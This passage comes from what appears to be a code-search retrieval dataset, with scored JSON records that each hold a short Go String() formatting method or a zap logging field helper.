"text": "func (s ExtraParam) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "8c2d660f8b90ffb29b2d9a5b6f60c219", "score": "0.5895236", "text": "func (x Gvk) String() string {\n\tg := x.Group\n\tif g == \"\" {\n\t\tg = noGroup\n\t}\n\tv := x.Version\n\tif v == \"\" {\n\t\tv = noVersion\n\t}\n\tk := x.Kind\n\tif k == \"\" {\n\t\tk = noKind\n\t}\n\treturn strings.Join([]string{k, v, g}, fieldSep)\n}", "title": "" }, { "docid": "9f8a378296cb872e44ee10bc37ba985e", "score": "0.5892437", "text": "func (v *Parameter) String() string {\n\tfrom := v.Parent().relPkg()\n\treturn fmt.Sprintf(\"parameter %s : %s\", v.Name(), relType(v.Type(), from))\n}", "title": "" }, { "docid": "3c9cce961816c604d204076ed3d163e9", "score": "0.5891766", "text": "func (p *Param) String() string {\n\treturn fmt.Sprintf(\"%s %s\", p.Type(), p.Ident())\n}", "title": "" }, { "docid": "6c50827d3c293a84af831c38d2aaae8a", "score": "0.5858665", "text": "func (a *API) String() string {\n\treturn fmt.Sprintf(\"v%d ≤ [%2d] %s ≤ v%d\", a.MinVersion, a.Key, a.Name, a.MaxVersion)\n}", "title": "" }, { "docid": "f561ee4f92401e31acc5e59bce3355b6", "score": "0.5799739", "text": "func (xp XParam) String() string {\n\treturn xp.Key + \"=\" + xp.Value\n}", "title": "" }, { "docid": "efe1a7c626f546ca34a4646e38f6f960", "score": "0.5787249", "text": "func (p PlatformMembers) String() string {\n\tjp, _ := json.Marshal(p)\n\treturn string(jp)\n}", "title": "" }, { "docid": "b9d345cb612fe6d8ed84b53f53c008bf", "score": "0.57641953", "text": "func (t testAPI) String() string {\n\treturn fmt.Sprintf(\"%v.%v\", t.component, t.name)\n}", "title": "" }, { "docid": "84e80811963b163caee57474a9f39879", "score": "0.5748312", "text": "func (t *OpenApiStruct)String()string{\n\tif t.Type != \"\" {\n\t\treturn fmt.Sprintf(\"\\ntype %v %v \\n\", t.Name, t.Type)\n\t}\n\n\tvar str string\n\tif t.Fields != nil {\n\t\tstr = fmt.Sprintf(\"type %v struct { \\n\", t.Name)\n\n\t\tfor _,f := range t.Fields {\n\t\t\ttheType := f.Type\n\n\n\t\t\tif f.IsStructType && !f.IsMust && !f.IsArray {\n\t\t\t\ttheType = \"*\" + theType\n\t\t\t}\n\n\t\t\tif f.IsArray {\n\t\t\t\ttheType = \"[]\"+theType\n\t\t\t}\n\n\n\t\t\tstr += fmt.Sprintf(\n\t\t\t\t\"\\t%-20v %-20v %v\\n\", f.Name, theType, f.Tag)\n\n\t\t}\n\n\t\tstr += \"\\n}\"\n\t}\n\n\treturn str\n}", "title": "" }, { "docid": "c6798f40a796dba3d6f0c21300bd7cd9", "score": "0.57079285", "text": "func (s RequestBypassInterfaceStruct) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "d7fc95d606254134e955842b97b614bb", "score": "0.5696441", "text": "func (p scenarioParam) String() string {\n\treturn fmt.Sprintf(\"scenario %q with max. %d items and %d orders\", p.Id, p.Items, p.Orders)\n}", "title": "" }, { "docid": "12383bd99ec53e6acf25dd3d44405b3b", "score": "0.568998", "text": "func WriteGoString(\n\tvalue interface{},\n\tuseGoStringer bool,\n\tindentAt int,\n\tbuf *bytes.Buffer,\n) {\n\t// write multiple strings to buffer\n\tws := func(a ...string) {\n\t\tfor _, s := range a {\n\t\t\tbuf.WriteString(s)\n\t\t}\n\t}\n\twriteGoString := func(value interface{}) {\n\t\tWriteGoString(value, useGoStringer, indentAt, buf)\n\t}\n\tif value == nil {\n\t\tws(\"nil\")\n\t\treturn\n\t}\n\tif useGoStringer {\n\t\tswitch v := value.(type) {\n\t\tcase GoStringerEx:\n\t\t\t{\n\t\t\t\tws(v.GoStringEx(indentAt))\n\t\t\t\treturn\n\t\t\t}\n\t\tcase fmt.GoStringer:\n\t\t\tws(v.GoString())\n\t\t\treturn\n\t\t}\n\t}\n\tv := reflect.ValueOf(value)\n\tt := reflect.TypeOf(value)\n\tswitch v.Kind() {\n\tcase reflect.Bool:\n\t\t{\n\t\t\tif v.Bool() {\n\t\t\t\tws(\"true\")\n\t\t\t} else {\n\t\t\t\tws(\"false\")\n\t\t\t}\n\t\t\treturn\n\t\t}\n\tcase reflect.Int, reflect.Int64, reflect.Int32,\n\t\treflect.Int16, reflect.Int8:\n\t\t{\n\t\t\tws(String(v.Int()))\n\t\t\treturn\n\t\t}\n\tcase reflect.Uint, reflect.Uint64, reflect.Uint32,\n\t\treflect.Uint16, reflect.Uint8:\n\t\t{\n\t\t\tws(String(v.Uint()))\n\t\t\treturn\n\t\t}\n\tcase reflect.Uintptr:\n\t\t{\n\t\t\t// TODO: handle Uintptr\n\t\t\tbreak\n\t\t}\n\tcase reflect.Float64, reflect.Float32:\n\t\t{\n\t\t\tws(String(v.Float()))\n\t\t\treturn\n\t\t}\n\tcase reflect.Complex64, reflect.Complex128, reflect.Array,\n\t\treflect.Chan, reflect.Func, reflect.Interface:\n\t\t{\n\t\t\t// TODO: handle multiple types\n\t\t\tbreak\n\t\t}\n\tcase reflect.Map:\n\t\t{\n\t\t\tws(\"map[\", t.Key().String(), \"]\", t.Elem().String(), \"{\")\n\t\t\t//\n\t\t\t// since MapKeys are returned in no specific order,\n\t\t\t// append each key-value in map to a string array\n\t\t\t// then sort it to ensure the result is consistent\n\t\t\tlines := make([]string, 0, v.Len())\n\t\t\tfor _, key := range v.MapKeys() {\n\t\t\t\tlines = append(lines,\n\t\t\t\t\tTabSpace+GoString(key.Interface())+\": \"+\n\t\t\t\t\t\tGoString(v.MapIndex(key).Interface())+\",\")\n\t\t\t}\n\t\t\tsort.Strings(lines)\n\t\t\t//\n\t\t\t// write out the array\n\t\t\tfor _, s := range lines {\n\t\t\t\tws(\"\\n\", s)\n\t\t\t}\n\t\t\tws(\"\\n}\")\n\t\t\treturn\n\t\t}\n\tcase reflect.Ptr:\n\t\t{\n\t\t\twriteGoString(v.Elem().Interface())\n\t\t\treturn\n\t\t}\n\tcase reflect.Slice:\n\t\t{\n\t\t\tws(t.String(), \"{\")\n\t\t\tmanyLines := v.Len() > 0 && v.Index(0).Kind() == reflect.Slice\n\t\t\tfor i, n := 0, v.Len(); i < n; i++ {\n\t\t\t\tif i > 0 {\n\t\t\t\t\tws(\",\")\n\t\t\t\t}\n\t\t\t\tif manyLines {\n\t\t\t\t\tws(\"\\n\", TabSpace)\n\t\t\t\t} else if i > 0 {\n\t\t\t\t\tws(\" \")\n\t\t\t\t}\n\t\t\t\twriteGoString(v.Index(i).Interface())\n\t\t\t}\n\t\t\tif manyLines {\n\t\t\t\tws(\",\\n\")\n\t\t\t}\n\t\t\tws(\"}\")\n\t\t\treturn\n\t\t}\n\tcase reflect.String:\n\t\t{\n\t\t\tws(`\"`, strings.ReplaceAll(value.(string), `\"`, `\\\"`), `\"`)\n\t\t\treturn\n\t\t}\n\tcase reflect.Struct:\n\t\t{\n\t\t\tws(t.String(), \"{\")\n\t\t\tfor i, n := 0, t.NumField(); i < n; i++ {\n\t\t\t\tif !v.Field(i).CanInterface() {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif i > 0 {\n\t\t\t\t\tws(\", \")\n\t\t\t\t}\n\t\t\t\tws(t.Field(i).Name, \": \")\n\t\t\t\twriteGoString(v.Field(i).Interface())\n\t\t\t}\n\t\t\tws(\"}\")\n\t\t\treturn\n\t\t}\n\tcase reflect.UnsafePointer:\n\t\tbreak // TODO: reflect.UnsafePointer\n\t}\n\t// finally, try using fmt.Stringer (treat value as a string)\n\tif v, ok := value.(fmt.Stringer); ok {\n\t\tws(GoString(v.String()))\n\t\treturn\n\t}\n\t// if value is still not processed, log an error, try to use fmt.Sprint()\n\tmod.Error(\"Type\", t, \"(kind:\", v.Kind(), \") not handled:\", value)\n\tws(\"(\", fmt.Sprint(value), \")\")\n}", "title": "" }, { "docid": "87cd485826e603a9141e4979e044d1c1", "score": "0.5685266", "text": "func (pt ParamType) String() string {\n\tswitch pt {\n\tcase SignatureType:\n\t\treturn \"Signature\"\n\tcase BoolType:\n\t\treturn \"Boolean\"\n\tcase IntegerType:\n\t\treturn \"Integer\"\n\tcase Hash160Type:\n\t\treturn \"Hash160\"\n\tcase Hash256Type:\n\t\treturn \"Hash256\"\n\tcase ByteArrayType:\n\t\treturn \"ByteArray\"\n\tcase PublicKeyType:\n\t\treturn \"PublicKey\"\n\tcase StringType:\n\t\treturn \"String\"\n\tcase ArrayType:\n\t\treturn \"Array\"\n\tcase MapType:\n\t\treturn \"Map\"\n\tcase InteropInterfaceType:\n\t\treturn \"InteropInterface\"\n\tcase VoidType:\n\t\treturn \"Void\"\n\tcase AnyType:\n\t\treturn \"Any\"\n\tdefault:\n\t\treturn \"\"\n\t}\n}", "title": "" }, { "docid": "e8521db3a320a6453fa167795cf50cdb", "score": "0.5679981", "text": "func (s TeamMember) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "e74ecbef4dcc68d074ac0c3b5ab75461", "score": "0.56678665", "text": "func (n NetworkMember) String() string {\n\treturn fmt.Sprintf(\"Endpoint: %s, InternalEndpoint: %s, PKI-ID: %s, Metadata: %x\", n.Endpoint, n.InternalEndpoint, n.PKIid, n.Metadata)\n}", "title": "" }, { "docid": "1b0dbc3cc319784ac96fd8b147a7eac9", "score": "0.5664487", "text": "func (s BypassInterface) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "0dad5672418287d6d5aa396621f0f462", "score": "0.5657544", "text": "func (s GlobalClusterMember) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "e41a2f5fac11d92fa3c54a77427719ef", "score": "0.56408876", "text": "func (params *Params) String() string {\n\tvar buf *C.char\n\tvar bufLen C.size_t\n\tif C.param_out_str_wrapper(&buf, &bufLen, params.cptr) == 0 {\n\t\treturn \"\"\n\t}\n\tstr := C.GoStringN(buf, C.int(bufLen))\n\tC.free(unsafe.Pointer(buf))\n\treturn str\n}", "title": "" }, { "docid": "9a2a32846e9d15057aac9e2f35e87213", "score": "0.56295896", "text": "func String(name, val string) Field {\n\treturn Field(zap.String(name, val))\n}", "title": "" }, { "docid": "9a2a32846e9d15057aac9e2f35e87213", "score": "0.56295896", "text": "func String(name, val string) Field {\n\treturn Field(zap.String(name, val))\n}", "title": "" }, { "docid": "7d25457a006edc37216b672b52731c92", "score": "0.56249833", "text": "func (s NiftyModifyWebProxyAttributeInput) String() string {\n\treturn nifcloudutil.Prettify(s)\n}", "title": "" }, { "docid": "0832fb0c89643238da7b4cd553a2fbee", "score": "0.56200695", "text": "func (b BandMember) String() string {\n\tjb, _ := json.Marshal(b)\n\treturn string(jb)\n}", "title": "" }, { "docid": "47cc9a93c4338f42f76e864154893e65", "score": "0.5600543", "text": "func (field ExtraField) String() string {\n\treturn field.Format(field.Name, field.Value)\n}", "title": "" }, { "docid": "e8ec90c7d3803454fa26a1609fe712fe", "score": "0.5574367", "text": "func (s ConformancePackInputParameter) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "3a6c060abdf30b99370c54f941b39db7", "score": "0.55563945", "text": "func (p NamedParam) String() string {\n\treturn fmt.Sprintf(\"$%s\", string(p))\n}", "title": "" }, { "docid": "757f8c625b42d3482ed24fcf69ec5e32", "score": "0.5548134", "text": "func (s NiftyModifyWebProxyAttributeOutput) String() string {\n\treturn nifcloudutil.Prettify(s)\n}", "title": "" }, { "docid": "cac1759c5772fef91986aa9caec00833", "score": "0.5547756", "text": "func (a Attribute) String() string {\n\treturn fmt.Sprintf(\"\\t%s %s `json:\\\"%s\\\"`\", a.Ident.Pascalize(), a.GoType, a.Ident.Underscore())\n}", "title": "" }, { "docid": "bf32380c366315640028bf4a1f06d05d", "score": "0.5545663", "text": "func (params CheckerParams) String(pname string) string { return params[pname].Value.(string) }", "title": "" }, { "docid": "8e43cb2448e6938019f925ec4fd727f4", "score": "0.55260944", "text": "func (p provider) String() string {\n\treturn fmt.Sprintf(\"&provider{\\n%s,\\n%s\\n}\",\n\t\tindent(fmt.Sprintf(\"constructor: %s\", reflect.TypeOf(p.constructor)), 1),\n\t\tindent(fmt.Sprintf(\"argPtrs: %s\", p.fmtArgPtrs()), 1),\n\t)\n}", "title": "" }, { "docid": "3ffc25a4edc5ca7652c4750de89130eb", "score": "0.5522052", "text": "func (s Parameter) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "3ffc25a4edc5ca7652c4750de89130eb", "score": "0.5522052", "text": "func (s Parameter) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "3ffc25a4edc5ca7652c4750de89130eb", "score": "0.5522052", "text": "func (s Parameter) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "22e6b75d4caabd7515ea4b7a6d047fd0", "score": "0.5512748", "text": "func (a AdmissionPluginArg) String() string {\n\treturn string(a)\n}", "title": "" }, { "docid": "534004fcc19377090dc7e89c742df8b2", "score": "0.55029845", "text": "func (p Params) String() string {\n\treturn fmt.Sprintf(`Params:\n NewMappingFee: %s`, p.NewMappingFee.String())\n}", "title": "" }, { "docid": "d4a5f9801967f366a83c3a7cd907c242", "score": "0.5494765", "text": "func (s NiftyModifyVpnGatewayAttributeInput) String() string {\n\treturn nifcloudutil.Prettify(s)\n}", "title": "" }, { "docid": "0748d04cf625e4ff758e26abfe905dae", "score": "0.5490486", "text": "func (s RequestParametersStruct) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "eb2660481053d3795da4b69c08252e85", "score": "0.5478847", "text": "func (c ClassMembership) String() string {\n\tjc, _ := json.Marshal(c)\n\treturn string(jc)\n}", "title": "" }, { "docid": "27d6dcbcc678aa7e58f8d39794716f77", "score": "0.54776204", "text": "func (o NvmeSubsystemCreateRequest) String() string {\n\treturn ToString(reflect.ValueOf(o))\n}", "title": "" }, { "docid": "ab66a767551ab4d7b7f8e4f3293ea242", "score": "0.54518825", "text": "func (s NiftyModifyVpnGatewayAttributeOutput) String() string {\n\treturn nifcloudutil.Prettify(s)\n}", "title": "" }, { "docid": "49127f92f7df69f150120055495de7f9", "score": "0.5450845", "text": "func (s RequestVpnGatewayStruct) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "5e6bced0fe405449b48bd5f2e2d9aacf", "score": "0.5449633", "text": "func (p Params) String() string {\n\treturn fmt.Sprintf(`\n\t// TODO: Return all the params as a string\n\t`)\n}", "title": "" }, { "docid": "3604a1d12813ce519872a998508d98c7", "score": "0.5448808", "text": "func (s GetMembersOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "5645b98d27ab43fcddf45cf0f14ffaee", "score": "0.54406744", "text": "func (v Version) String() string {\n\tjv, _ := json.Marshal(v)\n\treturn string(jv)\n}", "title": "" }, { "docid": "8f6fa5ebe15736bba406379030eb7037", "score": "0.54294056", "text": "func (b BandMembers) String() string {\n\tjb, _ := json.Marshal(b)\n\treturn string(jb)\n}", "title": "" }, { "docid": "cd4f60f952746fb0640f5fc484e2a616", "score": "0.5416735", "text": "func (o NvmeSubsystemInfoType) String() string {\n\treturn ToString(reflect.ValueOf(o))\n}", "title": "" }, { "docid": "52813ac5ae2108fcca313f381f978567", "score": "0.54052174", "text": "func (c ClassMemberships) String() string {\n\tjc, _ := json.Marshal(c)\n\treturn string(jc)\n}", "title": "" }, { "docid": "04033eaaa50a21abe710eb55690938ea", "score": "0.54022396", "text": "func (n *Parameter) String() string {\n\tif n.Ident == nil {\n\t\treturn n.Type.String()\n\t}\n\tif n.Type == nil {\n\t\treturn n.Ident.Name\n\t}\n\treturn n.Ident.Name + \" \" + n.Type.String()\n}", "title": "" }, { "docid": "0fc6ed7b12530152124b5a0df73a40a5", "score": "0.5401216", "text": "func (s *Struct) String() string {\n\treturn typeToString(s, DefaultPrefixer)\n}", "title": "" }, { "docid": "6119c066392074a64d33a8da4c90a138", "score": "0.54007393", "text": "func String(name string, value string) Field {\n\treturn &zapField{\n\t\tfield: zap.String(name, value),\n\t}\n}", "title": "" }, { "docid": "70140ac87aff30abd20b69092ccac057", "score": "0.5400587", "text": "func (o Params) String() (l string) {\n\tfor i, prm := range o {\n\t\tif i > 0 {\n\t\t\tl += \",\\n\"\n\t\t}\n\t\tl += io.Sf(\"{\")\n\t\tl += io.Sf(`\"n\":%q, `, prm.N)\n\t\tl += io.Sf(`\"v\":%v, `, prm.V)\n\t\tl += io.Sf(`\"min\":%v, `, prm.Min)\n\t\tl += io.Sf(`\"max\":%v, `, prm.Max)\n\t\tl += io.Sf(`\"s\":%v, `, prm.S)\n\t\tl += io.Sf(`\"d\":%q, `, prm.D)\n\t\tl += io.Sf(`\"u\":%q, `, prm.U)\n\t\tl += io.Sf(`\"adj\":%v, `, prm.Adj)\n\t\tl += io.Sf(`\"dep\":%v, `, prm.Dep)\n\t\tl += io.Sf(`\"extra\":%q, `, prm.Extra)\n\t\tl += io.Sf(`\"inact\":%v, `, prm.Inact)\n\t\tl += io.Sf(`\"setdef\":%v`, prm.SetDef)\n\t\tl += io.Sf(\"}\")\n\t}\n\treturn\n}", "title": "" }, { "docid": "5d29d6e0e0e0ab904e67c25cb99cc6eb", "score": "0.53897846", "text": "func (m *Module) String() string {\n\tvar lines []string\n\tfor key, val := range m.Params {\n\t\tlines = append(lines, fmt.Sprintf(\"%s: %s\", key, val))\n\t}\n\treturn strings.Join(lines, \"\\n\")\n}", "title": "" }, { "docid": "9c67a625c138ac7a358c67bd9671d262", "score": "0.53843546", "text": "func Stringp(name string, value *string) Field {\n\treturn &zapField{\n\t\tfield: zap.Stringp(name, value),\n\t}\n}", "title": "" }, { "docid": "f4d249827abc9456d0ca28689bd0bb4a", "score": "0.53756756", "text": "func (sp *StructProperty) String(nameLen, typeLen int) string {\n\tif sp == nil {\n\t\treturn \"\"\n\t}\n\n\tbuf := &bytes.Buffer{}\n\n\tbuf.WriteString(sp.Name)\n\tif nameLen > len(sp.Name) {\n\t\tbuf.WriteString(strings.Repeat(\" \", nameLen-len(sp.Name)+1))\n\t} else {\n\t\tbuf.WriteString(\" \")\n\t}\n\n\tbuf.WriteString(sp.Type)\n\tif typeLen > len(sp.Type) {\n\t\tbuf.WriteString(strings.Repeat(\" \", typeLen-len(sp.Type)+1))\n\t} else {\n\t\tbuf.WriteString(\" \")\n\t}\n\n\tbuf.WriteString(\"`\" + sp.Tags.String() + \"`\")\n\n\treturn buf.String()\n}", "title": "" }, { "docid": "18ee86464b37eca502219bffda55108d", "score": "0.536904", "text": "func (pub *Public) String() string {\n\n\tvar buf bytes.Buffer\n\tbuf.WriteString(pub.G1.Base64())\n\tbuf.WriteString(\",\")\n\tbuf.WriteString(pub.G2.Base64())\n\tbuf.WriteString(\",\")\n\tbuf.WriteString(pub.U.Base64())\n\tbuf.WriteString(\",\")\n\tbuf.WriteString(pub.V.Base64())\n\tbuf.WriteString(\",\")\n\tbuf.WriteString(pub.Z.Base64())\n\n\treturn buf.String()\n}", "title": "" }, { "docid": "bd09e428e501e2184d02faeca8900c24", "score": "0.5364266", "text": "func (b Binding) String() string {\n\n\ts, sep := \"\", \"\"\n\tkeys := []string{}\n\n\tfor k := range b.Key2vvalue {\n\t\tkeys = append(keys, k)\n\t}\n\n\tsort.Strings(keys)\n\n\tfor _, k := range keys {\n\t\ts += sep + k + \":\" + b.Key2vvalue[k].String()\n\t\tsep = \", \"\n\t}\n\n\treturn \"{\" + s + \"}\"\n}", "title": "" }, { "docid": "d7f44fd5d8a4877e8cb88d194df9992e", "score": "0.53636086", "text": "func (s DBParameterGroup) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "d7f44fd5d8a4877e8cb88d194df9992e", "score": "0.53636086", "text": "func (s DBParameterGroup) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "9ea9f65eaf97a44e02904fcb935a4aec", "score": "0.5362483", "text": "func (s RequestTranslationStruct) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "f8a86a25a55e4d24022f82c92438a0bf", "score": "0.5361493", "text": "func ValueAsString(value reflect.Value) string {\n\tb := &bytes.Buffer{}\n\n\twalker := func(path *FieldPath, field *reflect.StructField, v reflect.Value) error {\n\t\tif IsPrimitiveValue(v) || v.Kind() == reflect.String {\n\t\t\tfmt.Fprintf(b, \"%v\", v.Interface())\n\t\t\treturn SkipReflection\n\t\t}\n\n\t\tswitch v.Kind() {\n\t\tcase reflect.Ptr, reflect.Interface, reflect.Slice, reflect.Map:\n\t\t\tif v.IsNil() {\n\t\t\t\tfmt.Fprintf(b, \"<nil>\")\n\t\t\t\treturn SkipReflection\n\t\t\t}\n\t\t}\n\n\t\tswitch v.Kind() {\n\t\tcase reflect.Ptr, reflect.Interface:\n\t\t\treturn nil // descend into value\n\n\t\tcase reflect.Slice:\n\t\t\tlen := v.Len()\n\t\t\tfmt.Fprintf(b, \"[\")\n\t\t\tfor i := 0; i < len; i++ {\n\t\t\t\tav := v.Index(i)\n\n\t\t\t\tif i != 0 {\n\t\t\t\t\tfmt.Fprintf(b, \", \")\n\t\t\t\t}\n\t\t\t\tfmt.Fprintf(b, \"%s\", ValueAsString(av))\n\t\t\t}\n\t\t\tfmt.Fprintf(b, \"]\")\n\t\t\treturn SkipReflection\n\n\t\tcase reflect.Map:\n\t\t\tkeys := v.MapKeys()\n\t\t\tfmt.Fprintf(b, \"{\")\n\t\t\tfor i, key := range keys {\n\t\t\t\tmv := v.MapIndex(key)\n\n\t\t\t\tif i != 0 {\n\t\t\t\t\tfmt.Fprintf(b, \", \")\n\t\t\t\t}\n\t\t\t\tfmt.Fprintf(b, \"%s: %s\", ValueAsString(key), ValueAsString(mv))\n\t\t\t}\n\t\t\tfmt.Fprintf(b, \"}\")\n\t\t\treturn SkipReflection\n\n\t\tcase reflect.Struct:\n\t\t\tintf := v.Addr().Interface()\n\n\t\t\tdone := false\n\t\t\tfor _, p := range printers {\n\t\t\t\ts, ok := p(intf)\n\t\t\t\tif ok {\n\t\t\t\t\tfmt.Fprintf(b, \"%s\", s)\n\t\t\t\t\tdone = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif !done {\n\t\t\t\tklog.V(4).Infof(\"Unhandled kind in asString for %q: %T\", path, v.Interface())\n\t\t\t\tfmt.Fprint(b, values.DebugAsJSONString(intf))\n\t\t\t}\n\n\t\t\treturn SkipReflection\n\n\t\tdefault:\n\t\t\tklog.Infof(\"Unhandled kind in asString for %q: %T\", path, v.Interface())\n\t\t\treturn fmt.Errorf(\"Unhandled kind for %q: %v\", path, v.Kind())\n\t\t}\n\t}\n\n\terr := ReflectRecursive(value, walker, &ReflectOptions{DeprecatedDoubleVisit: true})\n\tif err != nil {\n\t\tklog.Fatalf(\"unexpected error during reflective walk: %v\", err)\n\t}\n\treturn b.String()\n}", "title": "" }, { "docid": "11a4e7851f5e03cc5470dce5aef81d39", "score": "0.5361304", "text": "func (s GetMembersInput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "73c0cab2005d31098ef74dae88190f1f", "score": "0.53573364", "text": "func (s CreateMembersOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "0635219069bd9ad99e2673123075fffa", "score": "0.5354845", "text": "func (v *Vid) String() string {\n\treturn paramString(v)\n}", "title": "" }, { "docid": "63cd8c26d4af778871d8606b3be0b361", "score": "0.535279", "text": "func (s NiftyModifyWebProxyAttributeOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "04de487ad099bd11ab528c87e31d0c16", "score": "0.5349742", "text": "func String(v interface{}) string { return fmt.Sprintf(\"%v\", v) }", "title": "" }, { "docid": "8e5503a1a7f97c0882cf5b25b62cea13", "score": "0.5349315", "text": "func (s ModifyDBParameterGroupOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "9808912faec3732d85895a870d3b1fe1", "score": "0.53457177", "text": "func (pa PluginAttribute) String() string {\n\treturn fmt.Sprintf(\"%s => %s\", pa.Name(), pa.ValueString())\n}", "title": "" }, { "docid": "11c90d6ee574cda9903fc75bee8832a0", "score": "0.53370744", "text": "func (s DBClusterMember) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "b8502c4bf6107da9d44dd54cf48dfaa2", "score": "0.53363085", "text": "func (s NiftyModifyWebProxyAttributeInput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "e54ce517ec1542386fc022990a89be80", "score": "0.53268313", "text": "func AsJSONString(src *structpb.Struct) string {\n\tif src == nil {\n\t\treturn \"\"\n\t}\n\tm := jsonpb.Marshaler{}\n\ts, err := m.MarshalToString(src)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn s\n}", "title": "" }, { "docid": "5803e329c38823e0d67643049d5d0995", "score": "0.53223604", "text": "func (o PipelineOptions) String(name string, d string) string {\n\tif value, ok := o[name]; ok {\n\t\tif str, ok := value.(string); ok {\n\t\t\treturn str\n\t\t}\n\t}\n\n\treturn d\n}", "title": "" }, { "docid": "62132f69fac5eea623282741c0a0cce3", "score": "0.5322011", "text": "func (c Params) String() string {\n\tdefer FuncEnding(FuncStarting())\n\tnameFmt := \"%10s: \"\n\tlines := []string{\n\t\tfmt.Sprintf(nameFmt+\"%t\", \"Debug\", debug),\n\t\tfmt.Sprintf(nameFmt+\"%t\", \"Verbose\", c.Verbose),\n\t\tfmt.Sprintf(nameFmt+\"%d\", \"Errors\", len(c.Errors)),\n\t\tfmt.Sprintf(nameFmt+\"%d\", \"Count\", c.Count),\n\t\tfmt.Sprintf(nameFmt+\"%s\", \"Input File\", c.InputFile),\n\t\tfmt.Sprintf(nameFmt+\"%d lines\", \"Input\", len(c.Input)),\n\t\tfmt.Sprintf(nameFmt+\"%d lines\", \"Custom\", len(c.Custom)),\n\t}\n\tif len(c.Errors) > 0 {\n\t\tlines = append(lines, fmt.Sprintf(\"Errors (%d):\", len(c.Errors)))\n\t\terrors := make([]string, len(c.Errors))\n\t\tfor i, err := range c.Errors {\n\t\t\terrors[i] = err.Error()\n\t\t}\n\t\tlines = append(lines, AddLineNumbers(errors, 1)...)\n\t}\n\tif len(c.Input) > 0 {\n\t\tlines = append(lines, fmt.Sprintf(\"Input (%d):\", len(c.Input)))\n\t\tlines = append(lines, AddLineNumbers(c.Input, 0)...)\n\t}\n\tif len(c.Custom) > 0 {\n\t\tlines = append(lines, fmt.Sprintf(\"Custom Input (%d):\", len(c.Custom)))\n\t\tlines = append(lines, AddLineNumbers(c.Custom, 0)...)\n\t}\n\treturn strings.Join(lines, \"\\n\")\n}", "title": "" }, { "docid": "389eae9e9df9948c4919c9fd26166858", "score": "0.5317432", "text": "func (s GeoMatchParams) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "5dc1251092fa7c347f6c411a6dec3376", "score": "0.5317203", "text": "func asString(v reflect.Value) string {\n\tif v.Kind() == reflect.Ptr || v.Kind() == reflect.Interface {\n\t\tif v.IsNil() {\n\t\t\treturn \"<nil>\"\n\t\t}\n\t}\n\tif v.CanInterface() {\n\t\tiv := v.Interface()\n\t\t_, isResource := iv.(Resource)\n\t\tif isResource {\n\t\t\treturn \"<resource>\"\n\t\t}\n\t\t_, isHasID := iv.(CompareWithID)\n\t\tif isHasID {\n\t\t\tid := iv.(CompareWithID).CompareWithID()\n\t\t\tif id == nil {\n\t\t\t\treturn \"id:<nil>\"\n\t\t\t} else {\n\t\t\t\treturn \"id:\" + *id\n\t\t\t}\n\t\t}\n\t\tswitch typed := iv.(type) {\n\t\tcase *string:\n\t\t\treturn *typed\n\t\tcase *bool:\n\t\t\treturn fmt.Sprintf(\"%v\", *typed)\n\t\tdefault:\n\t\t\treturn fmt.Sprintf(\"%T (%v)\", iv, iv)\n\t\t}\n\n\t} else {\n\t\treturn fmt.Sprintf(\"Unhandled: %T\", v.Type())\n\n\t}\n}", "title": "" }, { "docid": "00024bb0ab152138422647c024b6a36d", "score": "0.53164285", "text": "func (rpv *RequestParamValue) String() string {\n\tif rpv.s == nil {\n\t\tif s, ok := rpv.i.(string); ok {\n\t\t\trpv.s = &s\n\t\t} else {\n\t\t\ts := fmt.Sprintf(\"%v\", rpv.i)\n\t\t\trpv.s = &s\n\t\t}\n\t}\n\n\treturn *rpv.s\n}", "title": "" }, { "docid": "413d4fbda32c6f6d9719e916cf1015d6", "score": "0.53164274", "text": "func (s FindingProviderFields) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "3a1f67be91f5b4a58be464aab80edd0b", "score": "0.5313252", "text": "func (s AbpV11) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "e0bac948738973608fb775a050356a4d", "score": "0.5296081", "text": "func (o LunMapGetIterRequestDesiredAttributes) String() string {\n\treturn ToString(reflect.ValueOf(o))\n}", "title": "" }, { "docid": "3f9d1dea1f2aba58105fd81c8f03a2d7", "score": "0.5286322", "text": "func (c Credential) String() string {\n\tjc, _ := json.Marshal(c)\n\treturn string(jc)\n}", "title": "" }, { "docid": "daeda53d3394136b0b0686a9671382ae", "score": "0.52843404", "text": "func String(s string) string {\n\treturn fmt.Sprintf(\"%o\", ValueOf(s))\n}", "title": "" }, { "docid": "0f38203b29f334acc30ff0cba6f34ab3", "score": "0.5281937", "text": "func (v info) String() string {\n\treturn fmt.Sprintf(\"%#v\", v)\n}", "title": "" }, { "docid": "411c111310b9589ec59e7d3e0bd5260c", "score": "0.5281653", "text": "func String(key string, val string) zap.Field {\n\treturn zap.String(key, val)\n}", 